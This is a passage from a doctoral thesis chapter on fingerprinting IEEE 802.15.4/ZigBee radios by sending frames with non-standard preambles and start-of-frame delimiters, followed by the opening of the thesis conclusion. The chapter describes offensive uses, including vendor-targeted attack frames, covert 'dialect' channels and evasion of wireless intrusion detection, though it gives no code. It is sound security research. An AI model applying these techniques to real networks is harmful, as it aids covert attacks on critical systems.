6.1 Introduction
At the top of the hardware–software stack that this thesis has considered is the net-
work communications layer. Wireless sensor networks (WSN) represent a massive
and rapidly growing technology sector. These devices will monitor and control many
aspects of our daily lives, from home automation and health care monitoring to indus-
trial management. This chapter introduces the popular 802.15.4 protocol standard for
wireless personal area networks (WPANs) and explores the potential security impacts
of non-compliant chipsets.
The rapid growth of the IoT market is driving the mass production of radio-frequency
integrated circuits (RFICs). RFICs are used in nearly all modern systems that require
wireless communications, from RFID, Bluetooth, Wireless USB, Wi-Fi, the Global
Position System (GPS), and near-field communication (NFC). Additionally, RFICs
are increasingly integrated into devices for 4G and 5G infrastructure as well as vehicle-
to-vehicle communications systems. Advanced metering infrastructure, i.e., “smart
meters”, will reach 1.3 billion devices by 2025 [269]. With the expectation of trillions
of connected devices [266], many of these low-power, low-rate devices will depend
upon the 802.15.4 protocol standard. By 2024, global annual shipments of 802.15.4-
compatible devices will reach 1 billion [207].
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Figure 6.1: The OSI model of network layer abstractions. Each layer is responsible
for some part of the transformation from bits and symbols to application-specific data
units.
stacks from the ground up. The Open Systems Interconnection (OSI) model1 is the
standard conceptual model for partitioning communications systems into abstract
layers. Figure 6.1 depicts this common model.
This chapter is concerned with the peculiarities and capabilities of the various phys-
ical (PHY) layer COTS implementations. Manipulations of physical and link frames
achievable with commodity means—and other commodity stacks’ reactions to them—
are of particular interest for defenders. Overlooked capabilities of commodity hard-
ware lead to nasty surprises for the defenders of a deployed base previously considered
reasonably secure. For example, the discovery of methods to inject arbitrary crafted
802.11 link (LNK) layer frames with commodity 802.11 hardware around 2005 led
to the embarrassing “Month of Kernel Bugs” (MoKB) in 2006 that exposed multiple
vulnerabilities in Wi-Fi drivers across all operating systems and in many embedded
implementations. Wi-Fi suddenly became the path to Ring 0 attacks that merely
required a user to open a laptop to be penetrated.2
An attacker must know who and what their target is to tailor an assault appropri-
ately. Fingerprinting is the process of discovery and identification for a target’s hard-
1The OSI model is not without flaws or detractors [104].
2The title of the presentation that set off MoKB, “Hijacking a MacBook in 60 seconds,” aptly
captured the security community’s dismay at this new attack vector; previously, the primary danger
to Wi-Fi connections was believed to be sniffing of unencrypted frames.
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ware, firmware, OS, and software. Passive fingerprinting is when these techniques
are performed surreptitiously, often by merely observing (scanning and sniffing) net-
work traffic. Conversely, active fingerprinting is a technique that involves proactively
sending data and analyzing potential responses. This type of fingerprinting of wire-
less devices at the PHY-layer is essential for operational reasons, especially when the
operator suspects that rogue or “evil twin” devices may be present.
For mission-critical systems, such as patient insulin pumps and power grid monitors,
quick-and-dirty, but accurate identification of network devices in field environments
is instrumental —perhaps more practically useful than the corresponding capabili-
ties of tools like Nmap [185], Xprobe [308], or P0f [311] in enterprise networks. The
deeper the layer at which active fingerprinting operates, the tighter are the timing
requirements for the attacker to imitate a particular behavioral profile logically on
non-native hardware. For example, hiding or imitating fingerprints at the Transmis-
sion Control Protocol (TCP) or Internet Protocol (IP) layers is trivial with various
techniques [38, 215, 259]. However, to fake a PHY-level fingerprint requires the mas-
querading device to be at least as fast (and potentially buggy) as an authentic device.
What follows in this chapter showcases just such effects on IEEE 802.15.4-conformant
devices via PHY-layer frame shaping with COTS hardware. The techniques I de-
veloped impact the defensive monitoring, fingerprinting, and offensive targeting of
802.15.4 networks, including bypasses of wireless intrusion detection and prevention
systems (WIDS/WIPS).
I demonstrate that commodity 802.15.4 digital radios are capable of producing PHY-
frames that differ in appearance between various 802.15.4 receivers; while being ac-
cepted as valid by some receivers, these frames may be rejected by others—depending
on the radio chip’s make (and, occasionally, firmware). This has direct implications
for attack planning. Using this physical-frame-level technique, the attacker can:
• Craft and broadcast “shaped charges,” attack payloads that appear valid to only
the intended target.
• Covertly communicate with target nodes by constructing a “dialect” of 802.15.4
PHY-frames that will be intelligible to only these nodes, not others of a different
make or firmware. We have dubbed this covert channel technique a deliberate
partial compatibility channel, or dialect channel.3
3In Frank Herbert’s epic science fiction novel “Dune,” opposing military forces used battle lan-
guages unintelligible to enemies, due to shared religious proscriptions on computing systems that
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• Bypass WIDS/WIPS systems that utilize a different digital radio receiver, as
monitor(s), than that of the network nodes they protect. This is a specific use
of deliberate partial compatibility of PHY-frame dialects.
The research presented here expands the state-of-the-art in 802.15.4 physical-layer
manipulation achievable with commodity 802.15.4/ZigBee devices, enabling device
identification, targeted attacks, and WIDS/WIPS bypasses. An experimental frame-
work, code-named Isotope, was built around commodity hardware and open-source
software. Additionally, several techniques are shown, with experimental and statisti-
cal significance, to differentiate between multiple devices’ hardware and firmware.
The remainder of this chapter is organized as follows: Section 6.2 discusses related
work and provides context for our contributions; Section 6.3 introduces the offensive
implications of this work; Section 6.4 provides a brief primer on the 802.15.4 standard
and introduces the frame crafting techniques we have developed; Section 6.5 describes
our experimental setup; Section 6.6 reveals our results; and, finally, Section 6.7 offers
concluding remarks.
6.2 Related Work
This research extends previous work on active fingerprinting from our lab [20,43,74,
191,267]. It also harkens back to the classic work on evading intrusion detection and
prevention systems (IDS/IPS) [111,217] that exploited differences in network streams
reassembly by the attack targets and the IDS/IPS protecting them—which have since
been generalized as parser differential attacks [149,240].
Note that previous work in digital radio fingerprinting has focused primarily on trans-
mitters rather than receivers. In contrast, we focus on fingerprinting receivers, which
immediately delivers the attack insights that described in Section 6.3.
6.2.1 Digital Radio Fingerprinting
In this subsection, I briefly describe the types of digital radio fingerprinting and their
application to offensive and defensive exploits. For a more detailed understanding,
Danev, Zanetti, and Capkun provide a thorough survey of the state-of-the-art in
wireless fingerprinting [67].
excluded most kinds of sophisticated automation. We decided for a more neutral term, but recognize
that it would perfectly fit a more developed version of the dialect channels we describe.
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Physical-layer device identification, or fingerprinting, endeavors to exploit unique (of-
ten subtle) characteristics in the digital circuitry or firmware implementation of a
device. Slight imperfections in the radio circuitry, introduced during the manufac-
turing process, might be detectable during radio transmissions. In addition, bugs or
deviations from the standard in the firmware implementation may also be observ-
able during radio operation. These imperfections, flaws, or deviations are known as
fingerprints or device signatures.
There are both passive [78,88,141] and active [20,43] methods of fingerprinting wireless
radio devices. In passive methods, a third party attempts to sniff the communications
channel unobtrusively. Unique signals or transmission timing may be considered a
fingerprint. Naturally, this approach is often lossy or error-prone due to the potential
lack of traffic over the wire or interference from the multiple layers of the radio
stack [217]. Alternatively, active techniques attempt to interact with a device, often
by sending specially crafted requests, in hopes of eliciting a response. Both the data
contained in the response and the response itself can be considered a fingerprint.
Applications of Fingerprinting Fingerprinting digital systems has a long history
of offensive and defensive applications. Security tool collections such as BackTrack
Linux [205] include a growing number of fingerprinting tools, and security education
organizations such as SANS treat it as an essential topic.
For attackers, fingerprinting targets has long been a way of focusing effort on finding
systems known to be vulnerable. It is essential in the presence of defensive misdi-
rection measures such as false bannering or redirecting honeypots [30], as it helps
to see through the defenders’ deception. Not surprisingly, as soon as fingerprinting
techniques became a part of standard TCP/IP network reconnaissance (in toolkits
such as Nmap and Xprobe), an arms race ensued with tools such as Honeyd [215]
and IP Personality [232] offering functionality to deceive fingerprinting techniques by
imitating known signatures.
Impersonating trusted wireless nodes has long been a premier tool in attackers’ ar-
senals. Impersonating a wireless node does not pose a considerable challenge to at-
tackers, barring strong cryptographic identification of nodes. A tool that can identify
software, firmware, or hardware and its version by highlighting differences between
implementations is especially useful when identifying wireless nodes, both benign
and malignant, and finding vulnerable software, firmware, and hardware combina-
tions. The IEEE 802.15.4 and ZigBee standards offer no exception to this rule. By
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design, these are commercial-off-the-shelf technologies (in particular, much more so
at their origins than 802.11/Wi-Fi). 802.15.4 was designed for low-cost, low-power
devices. Further, the standard was made simple for developers with limited knowl-
edge in radio technology or protocols to still benefit from reliable wireless technologies.
Fully functional IEEE 802.15.4- and ZigBee-conformant digital radios can be acquired
cheaply4.
Ubiquitous deployments of 802.15.4 devices pose considerable authentication chal-
lenges [261], and it is not clear if classic PKI-based two-way authentication schemes
will be a practical solution. Given the lack of strong cryptographic authentication
during a device’s commissioning phase5, to be able to fingerprint an IEEE 802.15.4
radio on a device as belonging to a particular vendor’s fleet may provide a piece of
crucial evidence for trusting the appliance. Even when cryptographic authentication
is in use, the implementation details of key storage and management may be prob-
lematic6, and may lead to the keys being extracted and used by adversaries. In such
situations, the capability to fingerprint physical devices may provide an additional
layer of assurance when authentication material comes under suspicion.
Contributions It is worth noting, the methods I describe in this thesis and their
application to the IEEE 802.15.4 standard represent the state-of-the-art in wireless
fingerprinting without using software-defined radios.
6.2.2 Parser differential attacks
The requirement for security components to interpret potentially hostile inputs the
same way as the rest of the system or network they protect has long been an im-
plicit requirement for such components’ efficacy. Parser differentials exist when two
parsers interpret the same input in varying different ways. Although silly, Figure 6.2
illustrates the issue.
For TCP/IP stacks, Ptacek and Newsham previously highlighted it [217]; however,
it was not yet made formal. The analysis of X.509 parser implementation differ-
ences [149]—leading to a plethora of attacks on the SSL Certificate Authority (CA)
infrastructure using crafted Common Names interpreted differently by CAs (as a low-
4802.15.4 RFICs are typically less than $3, with full systems costing less than $20.
5Some ZigBee profiles, such as the Home Automation Profile, have a defined an initial key which
is used to encrypt the initial key transport frame which distributes the network-wide key.
6For example, although the specification says that up to 255 ACL entries may be supported,





Figure 6.2: An example of a parser differential. When parser differentials exists, it
becomes infeasible to make guarantees about message fidelity.
value domain name) and SSL clients (as a high-value domain name)—exposed it as
a formal requirement for distributed systems.
Since then, such parser differential attacks have been generalized to many kinds of
systems and protocols [240,241], including 802.15.4, 802.11/Wi-Fi, and similar PHY-
layers [103], and recently even to 802.3/Ethernet [34].
Contributions The research presented here leverages parser differentials to finger-
print devices and craft potentially WIDS evasive dialects.
6.3 Attack and evade via receiver fingerprinting
As we noted above, digital radio fingerprinting efforts have primarily focused on fin-
gerprinting transmitters, down to the individual radio frequency (RF) characteristics
of a single radio. Such fingerprinting focus helps security models that stress authen-
tication and attribution but do not inform defenders about “sneaky” targeted attacks
that may be launched against their systems. In contrast, our active fingerprinting
methods focus on the weaknesses of receivers and their use by attackers.
Shaped charges for targeted receivers Digital radios enable supervisory control
and data acquisition (SCADA) applications in physical systems, such as buildings or
entire neighborhoods, where the wired connectivity costs of installing sensors and
remotely controlling units would be prohibitive. With 802.15.4 radios at the forefront
of these SCADA applications, an attacker or a penetration tester of a SCADA wireless
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network may soon need to consider the presence of other radios while planning an
attack or even a casual scan.7
For example, a “smart” building may feature several digital radio systems from differ-
ent vendors, using different makes of radios, with an admixture of personal wireless
devices of various degrees of criticality. Planning an attack on one of these subsys-
tems would require avoiding accidental damage to others. Luckily, crafting the attack
frames to a particular vendor’s radio used by the targeted system may solve this prob-
lem. We call such attacks shaped charges, where the intended damage is limited to
one specific subset of receiving systems.
WIDS/WIPS-resistant dialects Our work has significant implications for the
design of future intrusion detection and prevention systems (IDPS). At the very least,
it would inform digital radio monitoring and IDPS with some clues of what to look
for below the level of the logical bytes of captured frames, i.e., what attacks may
be facilitated—and so also, detected and disrupted—by crafting not just the frame
payloads, but also their physical layer (PHY) and physical layer convergence protocol
(PLCP) representations.
Critical to defense is the knowledge of and ability to recognize when an attack is
attempting WIDS/WIPS evasion. Thus, it is vital to understand any stable ways in
which a WIDS/WIPS may not see a frame (beyond just being out of range), but the
target would. These types of attacks are introduced in the seminal work by Ptacek
and Newsham [217]. They introduced injection and evasion attacks in which the data
seen over the wire differed between the receiver and the IDPS.
If a frame is ignored by a receiving radio (one not part of the intrusion defense
system), then carefully crafted packets can be injected into the WIDS/WIPS’s view
of a monitored communication. On the other hand, frames that the WIDS/WIPS may
ignore but that are accepted by a receiving radio represent the potential for an entire
back-channel of communications that a monitor would never see—an entire attack
dialect that escapes the monitor’s notice or confuses the WIDS/WIPS into judging
attack communications meaningless or innocuous. We anticipate the emergence of
tools that produce such dialects for digital radio protocols, just as they appeared
7Penetration testing folklore has many stories of legacy systems unexpectedly crashing due to a
scan, and of customers expressing such concerns during assessment planning. While hard data on
such occurrences may be impossible to get, we are reminded of the popular early 90s hoax, “don’t
open suspicious email, it may infect your computer with a virus”; which a decade later turned into
a user education mantra.
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for wired protocol features such as IP fragmentation (fragroute), TCP/UDP segment
injection (firewalk), and similar tools for manipulating TCP/IP stack differences.8
6.4 Methods
In this section, we look at the IEEE 802.15.4 standard and describe the receiver
fingerprinting and targeting techniques we have developed.
6.4.1 IEEE 802.15.4 Standard
The Institute of Electrical and Electronics Engineers (IEEE) created the 802.15 work-
group for Wireless Personal Area Networks (WPAN) in the early 2000s to establish
standards for Layers 1 and 2 (physical and link, respectively). The IEEE 802.15 work-
group defined standards that include 802.15.1, a derivative of Bluetooth intended for
general WPANs, and 802.15.4, designed for low-rate WPANs (LR-WPANs). LR-
WPANs are attractive for low-power, low-range, low-bandwidth, and low-cost ap-
plications of wireless networking, particularly for industrial control and embedded
systems.
ZigBee is a Layer 3 (network layer) specification, which layers on top of the 802.15.4
layers and is more well-known than 802.15.4. While ZigBee is ripe for investigation
in many different forms of fingerprinting, this thesis focuses on the layer beneath
ZigBee—the IEEE 802.15.4 standard.
Figure 6.3: An IEEE 802.15.4 standard physical frame. For all physical frames,
the SHR should be 8 symbols of zero (0x0) followed by 0xA7. The frame length,
octets, varies with the size of the physical payload. Physical frame types differ in
their payload requirements. The final element of the payload, not shown, may be the
frame control sequence.
In the IEEE 802.15.4 standard, the smallest amount of information that can be sent
over the air is four bits, also known as a symbol. The standard defines four types
of physical frames: beacon, data, acknowledgment, and command. The standard
8For examples see, “Building Open Source Network Security Tools: Components and Techniques”,
Mike Schiffman, Wiley 2002.
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physical frame layout, for all four types of frames, is shown in Figure 6.3. A standard
frame consists of a synchronization header (SHR), a physical layer (PHY) header
(PHR), and a payload within the physical service data unit (PSDU). The physical
frames differ in their payload, but all contain a standard SHR and PHR. The SHR
comprises an 8-symbol-wide preamble of zeros (0x0) and the start-of-frame delimiter
(SFD)9, which must be 0xA7. This header, as its name implies, serves to synchronize
the receiving radio with the transmitting radio so that symbols are correctly pulled
out of the signal. The frame length, a 7-bit number representing the number of octets
in the physical payload, and a single reserved bit compose the PHR. The payload, or
packet, follows the length and contains all the data for Layer 2 and higher. Each type
of physical frame requires a different payload structure. Finally, not shown here, the
optional 4-symbol-wide frame control sequence (FCS) is a checksum used to check for
data corruption in the payload during transit.
6.4.2 Fingerprinting Techniques
Here we will describe four new techniques for fingerprinting IEEE 802.15.4 stacks,
with a focus on the physical layer. Each method is active—a stimulus frame with a
non-standard physical-layer header is transmitted, and the target’s response or lack
thereof is recorded. We hypothesize that we can distinguish different radio chipsets by
which type of stimulus packets they can receive. To determine whether a given chipset
has indeed received a packet, we send a frame whose payload triggers a response by
a higher layer—such as beacon request. If we receive the correct response to our
stimulus, we assume that our crafted frame was received.
Crafting Physical Frame Headers Before introducing the designed methods, it
should be noted that many commodity radios cannot craft arbitrary physical frame
headers, SHR and PHR. By design, the radio hardware manages the frame headers
to ensure proper functionality. In order to fully control a physical frame’s contents,
we make use of our good neighbor Travis Goodspeed et al.’s packets-in-packets (PIP)
frame-injection technique [103].
The PIP technique, shown in Figure 6.4, for IEEE 802.15.4 digital radios is relatively
simple. The 802.15.4 standard requires the SFD to be 0xA7. If an 802.15.4-compliant
radio receives an SFD of any other value, the receiving radio resets itself into a fresh
receiving state, listening again for a new SHR. As noted above, some radios permit
9Some radios deviate from the standard and allow the SFD to be set via an internal register.
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us to specify the SFD value via a register, which allows us to transmit frames with
non-compliant SFDs. Any receivers expecting the standard SFD will reset themselves
after seeing the unexpected symbols. The transmitting radio, however, will continue
to send the remainder of the frame. If the remainder of the frame contains a standard
SHR, the receiver will think it is receiving a fresh packet. In this way, we are able to
transmit a non-standard physical frame that contains a fully-standard physical frame,
a packet in a packet.
SHR PHR Payload







Figure 6.4: The packet-in-packet technique. By placing unexpected symbols in the
packet header, any listening receivers will reset their logic and catch the “inner”
payload as a valid packet.
A Variable Preamble Length The variable preamble length fingerprinting tech-
nique focuses on the preamble used to put the receiving radio into a state where
it is ready to accept an SFD followed by the remainder of the frame. While the
IEEE 802.15.4 standard defines the preamble length to be eight symbols containing
the value 0x0, some radios might accept frames with fewer than the stated number,
while others do not. Figure 6.5 shows the general layout of a frame generated to
test a target’s response to non-standard preambles. This technique aims to measure
the number of zero symbols before the SFD, a chipset requires in order to accept a
frame. Note that the only portion of the frame that is altered from the IEEE 802.15.4
standard is the preamble length.
Figure 6.5: A physical frame with variable preamble length. The number of zero
(0x0) symbols that compose the preamble is varied between 0 and 8. Any response
to a non-standard preamble might signify a fingerprint.
A Franconian Notch According to the IEEE 802.15.4 specification, a pream-
ble field should contain 32 binary zeros—eight zero (0x0) symbols. However, some
chipsets may accept non-standard preambles. For example, the CC2420 [278] can be
programmed to ignore some of the least significant symbols in the synchronization
120
header to help it be more resilient to noise. We call this technique the Franconian
Notch10 for the “notch” it creates between valid preamble symbols and the SFD. Fig-
ure 6.6 shows the physical frame crafted for the Franconian Notch method. Here
we modulate each subsequent symbol of the standard preamble11 from 0x0 to 0xF,
going from all zeros (0x0s) to all 0xFs. This technique aims to measure the number
of invalid preamble symbols a radio is willing to accept. Note, again, that the only
portion of the frame that is modified from the IEEE 802.15.4 standard is the preamble
symbols.
Figure 6.6: A physical frame with Franconian Notch. The number of zero (0x0)
symbols that compose the preamble is varied between 0 and 8, with the remaining
required symbols transformed into 0xF symbols. Any response to a non-standard
preamble might signify a fingerprint.
A Franconian Bridge Inspired by the previous approaches, my Franconian Bridge
method “spans the gap” between the variable preamble length and Franconian Notch
techniques. As shown in Figure 6.7, the Franconian Bridge checks to see how a
target responds to having a varying number of 0xF symbols placed between the fully-
standard preamble and the SFD. Technically, this will evaluate a radio’s behavior in
the presence of a seemingly non-standard SFD. As before, the only portion of the
frame that is modified from the IEEE 802.15.4 standard is that which follows the
preamble and precedes an SFD.
Figure 6.7: A physical frame with Franconian Bridge. A varying number of 0xF
symbols are inserted between a fully-standard preamble and SFD. Any response to a
non-standard SFD might signify a fingerprint.
A Cumberland Gap My Cumberland Gap12 technique, as seen in Figure 6.8,
measures how a target behaves with respect to receiving frames immediately after
receiving a valid preamble and an invalid SFD, followed by a standard frame.
10The Franconian Notch is a mountain pass through the White Mountains of New Hampshire.
11It should be noted that we do not attempt to modulate all of the possible combinations of 0x0s
and 0x1s.
12The Cumberland Gap is a mountain pass through the Appalachian Mountains between Ten-
nessee, Kentucky, and Virginia.
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Figure 6.8: A physical frame with Cumberland Gap. An invalid SFD is injected,
followed by a varying amount of garbage symbols. Any unique response might signify
a fingerprint.
It is important to remember that when radios are listening for data, they read what-
ever they find into a symbol. Therefore, it is quite common for a radio to be prepared
to accept a frame when it is merely listening to interference and reading garbage as
symbols. There are a few discrete states that a radio state machine has to go through
when finding an SFD. In this method, we intentionally make the SFD very close to
the standard to nudge the receiver as close as possible to the state in which it receives
a full-frame without outright telling it to take the remainder of the frame. When
the incorrect SFD arrives, the chip goes back to listening for a preamble—we seek to
measure the timing of this behavior. The fewer symbols that we can inject and still
get a response may imply a faster turn-over time, and might also signify a fingerprint.
6.5 Experimental Setup
To test the functionality of our proposed fingerprinting methods, we built a testbed
to examine how different IEEE 802.15.4 stacks respond to the types of non-standard
physical headers previously described.
6.5.1 Testbed Layout
Our testbed consists of only commodity hardware and open-source software. As
shown in Figure 6.9, two IEEE 802.15.4-conformant radios are connected (via serial
over USB) to a single workstation running Isotope, our fingerprinting software. Iso-
tope is a Python framework that utilizes the open-source libraries Scapy [39], to build
802.15.4 physical frames, and KillerBee [305], to configure the radios, monitor com-
munications traffic, and inject arbitrary frames. One radio is used solely to transmit
crafted frames, and the other radio is used to sniff all traffic on a particular channel.
The third, unknown, device is set up to listen on a specific channel and respond to
beacon requests.
Although this setup may appear contrived—802.15.4 devices may be configured to hop
between various channels, as they send and receive frames, for additional robustness







Figure 6.9: The fingerprinting testbed. Our Python framework, Isotope, manages
separate transmitting and receiving radios and monitors communications. All radios
operate on the same channel, with the transmitter sending out non-standard beacon
requests. The unknown device is configured to listen for valid requests and respond.
The receiving radio listens for beacon responses.
and that it can be extended to work with a variety of target configurations.
6.5.2 Hardware and Software
We tested multiple receiver devices including Zigduinos [182], RZUSBsticks [28], and
the popular (but now discontinued) Tmote Sky [195]. Each of these devices con-
tain different on-board radio chips, namely an Atmel ATmega128RFA1 [27], an At-
mel AT86RF230 [26], and a Chipcon CC2420 [278], respectively. Finally, each de-
vice has several associated open-source firmware distributions including Arduino [22],
Chibi [89, 90], Contiki OS [59], GoodFET [102], and Tiny OS [282]. Table 6.1 sum-
marizes the different possible combinations.
6.6 Results
The following results represent an initial exploration of our fingerprinting techniques
with the GoodFET firmware. Other firmware, such as Raven, was tested, but results
were inconclusive. Contiki and Chibi firmware were both unstable at the time of test-























Table 6.1: 802.15.4 hardware and firmware combinations
the individual beacon responses received, out of 1000 non-standard beacon requests,
for each radio device with GoodFET firmware.
A variable preamble length Figure 6.10 shows the results of varying the number
of preamble symbols from 0 to 7. Eight 0x0 symbols are the standard. Clearly, the
Tmote device responds to the fewest number of preamble symbols. It is possible
that this is by design. Remember, the Tmote contains a CC2420 radio chip, which
allows a programmable number of preamble bits to be accepted. Assuming normal
function, it seems evident that the Tmote is distinguishable from the Zigduino and
RZUSBstick. Somewhat unsettling is that the RZUSBstick responds to less than
200 beacon requests with 6 or 7 symbols. It is possible that this device is more
strictly standards-compliant, and only responds with a full preamble. The number
of responses with 6 or 7 symbols might also be attributed to background noise and
interference.
A Franconian Notch Figure 6.11 showcases the results of transforming the pream-
ble from 8 zero (0x0) symbols to 6 0xF symbols. Zero (0) on the Y-axis represents a
fully standard physical frame, with zero 0xF symbols present. It appears as though
the Tmote, loose with the standard in the variable preamble test, is now fully com-
pliant. Since the Tmote previously accepted fewer preamble symbols, this could be
an artifact of the radio interpreting the additional 0xF symbols as an invalid SFD,
or it could have to do with the RF demodulator’s sync circuit being thrown out of
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Figure 6.10: Variable preamble results. The Tmote device responds to the fewest
number of valid preamble symbols.
state by the additional bit transitions. Again, the RZUSBstick responds to far fewer
beacon requests. This may be explained by the position of the mote during testing
or the fact that both the Tmote and Zigduinos use external antennas. In either case,
the RZUSBstick stands out by accepting as many as four 0xF symbols within the
preamble. For both the Tmote and RZUSBstick, this looks like a possible identifier.
To verify the integrity of these promising results, we re-ran the Franconian Notch
on even symbols with an RZUSBstick and, in place of a Tmote, a newly acquired
ApiMote. The results from this limited test are shown in Figure 6.12. The RZUSB-
stick was determined as having received a frame if it produced the requisite beacon
frame in response (results also confirmed with its logs and the ApiMote’s PCAP), and
the ApiMote collected full PCAP which was processed to count how many times it
captured the Beacon Request frame depending on which Franconian Notch preamble
variation was used.
125























Figure 6.11: Franconian Notch results. The rzusbstick device accepts the most in-
jected preamble symbols.
Of particular note is that the RZUSBstick performs remarkably well receiving packets
with up to 6 symbols of 0xF before the SFD. This could be seen as a positive, namely
that the RZUSBstick is more robust to noise and interference. Alternatively, it is
clearly responding to non-standard packets when other devices do not. The ApiMote’s
CC2420 chip13 did not receive packets proceeded with a preamble which did not have
eight symbols of 0x0. Both of these results seem consistent with our earlier tests, and
even tacitly suggest that the ApiMote is an excellent successor to the Tmote.
A Franconian Bridge The results for the Franconian Bridge method are shown
in Figure 6.13. Recall that this technique inserts garbage between a valid preamble
and a valid SFD. Ideally, a radio would interpret the trash as an invalid SFD. As
in the previous method’s results, the Tmote strictly adheres to the standard; while,
13The ApiMote was running the GoodFET firmware, with the standard values unchanged in the
CC2420 for both MDMCTRL0.PREAMBLE_LENGTH and SYNCWORD.
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Figure 6.12: Franconian Notch results on even-sized symbols. Again, rzusbstick ac-
cepts the most injected preamble symbols.
the RZUSBstick drastically increases its responses from the previous two tests. The
RZUSBstick accepts up to 5 garbage symbols interposed between the preamble and
SFD.
A Cumberland Gap The results for the Cumberland Gap method, seen in Fig-
ure 6.14, do not seem encouraging. None of the motes respond to more than about
600 beacon requests. There may have been some interference or channel noise during
this test run. Additional tests should be performed. It appears as though the Tmote
has the fastest turnaround time, while the RZUSBstick maintains the slowest.
6.7 Conclusions
With the number of wireless sensor networks exploding, a large portion being IEEE
802.15.4 and ZigBee devices, it is essential that we be able to secure and protect these
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Figure 6.13: Franconian Bridge results. The Tmote device is strict in compliance,
while the rzusbstick is very lenient.
devices and networks for mission-critical systems. Fingerprinting these radio devices
is a first step along the path to achieving that security. Device identification, both
passive and active, has been used on many other wireless network protocols. Our
work seeks to apply it to IEEE 802.15.4-conformant radio devices. By accurately
identifying different devices, we have another tool, on top of PKI authentication
schemes, for verifying trusted nodes in a network. Similarly, by analyzing how frames
and packets make their way through the firmware and radio circuitry, it is possible
that we may uncover hidden vulnerabilities and attack vectors.
With these initial results, it appears that the Tmote devices (and new ApiMote
devices), with the Chipcon CC2420 radio chipset, and the RZUSBsticks, with the
Atmel AT86RF230 radio chipset, are identifiable. A summary of our results is shown
in Table 6.2. The Tmotes clearly respond to very non-standard preamble lengths,
whether by design or flaw; however, the same devices seem to be very strict on the
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Figure 6.14: Cumberland Gap results. The Tmote device has the fastest turnaround
time to reset and respond to new packets.
preamble and SFD content. Meanwhile, the RZUSBsticks present a conundrum. In
three of the tests, the devices respond with an alarmingly low rate. It is possible
the devices are very slow, are receiving too much noise, or simply do not receive all
the beacon requests without external antennas. From the results that we do have,
it looks like the RZUSBsticks accept very non-standard preamble and SFD content.
The CC2420 chips look like the top contender to avoid WIDS detection.
Future Work
This area of research is ripe for expansion. As shown above, there are many more
possible firmware and hardware combinations to test—we have only scratched the
surface. Since this research was undertaken, the market for 802.15.4 devices has
grown considerably with new device manufacturers, chipsets, and firmware. This sort
of wireless radio analysis will always benefit from an isolated testing environment;
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Firmware Preamble Franconia Notch Franconia Bridge Cumberland Gap
ATmega128RFA1
Contiki — — — —
Goodfet H H H H
TinyOS — — — —
Zigduino H H H H
AT86RF230
Chibi — — — —
Contiki — — — —
Raven I I I I
CC2420 Contiki — — — —Goodfet H L L L
TinyOS H L L L
Table 6.2: Summary of results, labelled based on our current confidence in iden-
tifiability. An ‘H’ means that for a specific radio/firmware combination, the given
fingerprinting technique is likely to be distinguishable from other radio/firmware com-
binations. An ‘L’ means that little evidence suggests a specific radio/firmware com-
bination is easily identifiable. An ‘I’ means inconclusive at this time. An ‘—’ means
that we have yet to reliably test this radio/firmware combination.
however, these devices are expected to perform in a noisy, interference-filled real
world. Of course, our software framework, Isotope, will also require some additional
refinements to make it more robust. Typically, in device identification, a database
of fingerprints is used in combination with some sort of machine learning method to
analyze and evaluate fingerprint matches. Our current work constitutes only the first




Computing technologies have evolved a tremendous amount since Babbage’s Analyt-
ical Engine. From massive, building-sized, single-purpose mechanical machines that
required dozens of mathematicians, engineers, and technicians to operate down to
palm-sized (and smaller) devices, powerful enough to perform real-time physics mod-
eling, with which our toddlers play. Computers are ubiquitous in our digital world,
and increasingly essential to providing and ensuring the convenience, efficiency, and
security that we have come to expect from our society.
The Internet of Things (IoT), in all of its amorphous and ill-defined glory, is here
to stay—for better or worse. Whether Moore’s Law has finally reached its limits, to
be relegated to the dustbin of antiquity, or will endure to define the next generation
of computing is still to be determined. What seems a sure bet, following the arc of
history, is that human ingenuity and technological innovation will continue. Access
to the Internet will increase. Compute devices will become cheaper. Evermore novel
use cases will develop to connect people, places, and things in unimaginable ways.
The risks posed by the IoT, and resource-constrained devices, in general, can only be
ignored at our detriment. These devices are cheap, small, and easy to manufacture at
scale. One of the factors for their cost-effectiveness is the limitations on computing
resources and capabilities, such as processing power, memory, and power consump-
tion. In addition, the currently deployed and envisioned applications of these tech-
nologies, particularly within the industrial and critical-infrastructure spaces, require
strict availability and response times, as well as prolonged lifespans with minimal
oversight and management. In the meantime, these small sensors and controls are
responsible for monitoring and manipulating real-world, physical processes in manu-
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facturing facilities and energy delivery systems. On the consumer side, these devices
are being marketed and produced at an alarming rate with little consideration for
quality assurance, security testing, or future maintenance. All the while, these perva-
sive, often invisible, appliances are expected to collect, store, and process increasingly
sensitive, personal information. Each of these elements presents non-trivial challenges
to traditional security mechanisms and techniques.
This thesis has considered the challenges, and failures, of securing these resource-
constrained devices. The current environment seems dominated by the band-aiding
of security solutions. Reactionary, ad hoc patching is an undesirable status quo. To
ameliorate this situation, I have argued for a defense in depth strategy that appraises
a system more holistically, from the hardware and firmware up through application
runtime and network communications.
First, I considered the pre-boot environment. As the foundation for all of the software
that will eventually run on a platform, securing pre-boot is vital. To this aim, I
designed a secure boot architecture for IBM’s P8 servers that is now widely deployed
on multiple OpenPOWER systems. Given the limitations of the P8 architecture,
specifically a lack of lockable memory, I relied on the secure, non-volatile memory
of a platform TPM, and a unique key management framework, to secure sensitive,
security-critical, cryptographic key material stored in unprotected memory.
A lockable memory architecture is an added cost to the supply and manufacturing
processes that IoT vendors may not desire. For devices where this decision has al-
ready been made, my design allows a retrofit at the cost of a TPM. However, this,
too, may be infeasible or unwanted for many devices. Integrated trusted execution
environments, like SGX or TrustZone, represent the next best alternative for devices
based on those platforms. A variety of secure boot implementations already exist for
both technologies. For legacy devices, ROM is the last option. However, the chances
of vulnerabilities being discovered within the write-once firmware of long-lived devices
are not insignificant. The final defense is to use behavioral analysis techniques on sec-
ondary platforms to scrutinize networking communications and identify potentially
deviant operation.
The second defensive measure I presented was a novel remote attestation architecture,
a Distributed Attestation Network (DAN). I designed and prototyped a network of
IoT-analog devices, and demonstrated its feasibility in such applications. Using a Hy-
perledger blockchain implementation, a DAN can distribute remote attestation data—
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including identity and configuration—amongst a network of resource-constrained de-
vices. Using this platform, I considered the desirable effect of separating trust between
data producers and consumers, and the potential applications of third-party verifiers
in consumer markets and government regulation. I also showed that while represent-
ing an additional cost, the TPM may reduce power consumption for security-critical,
cryptographic operations, thus potentially extending battery life.
My DAN implementation is the first attestation architecture to rely on blockchain
technologies as more than just a data-store, but as a prime actor in attestation proto-
cols. However, there are unanswered research questions about the blockchain’s ability
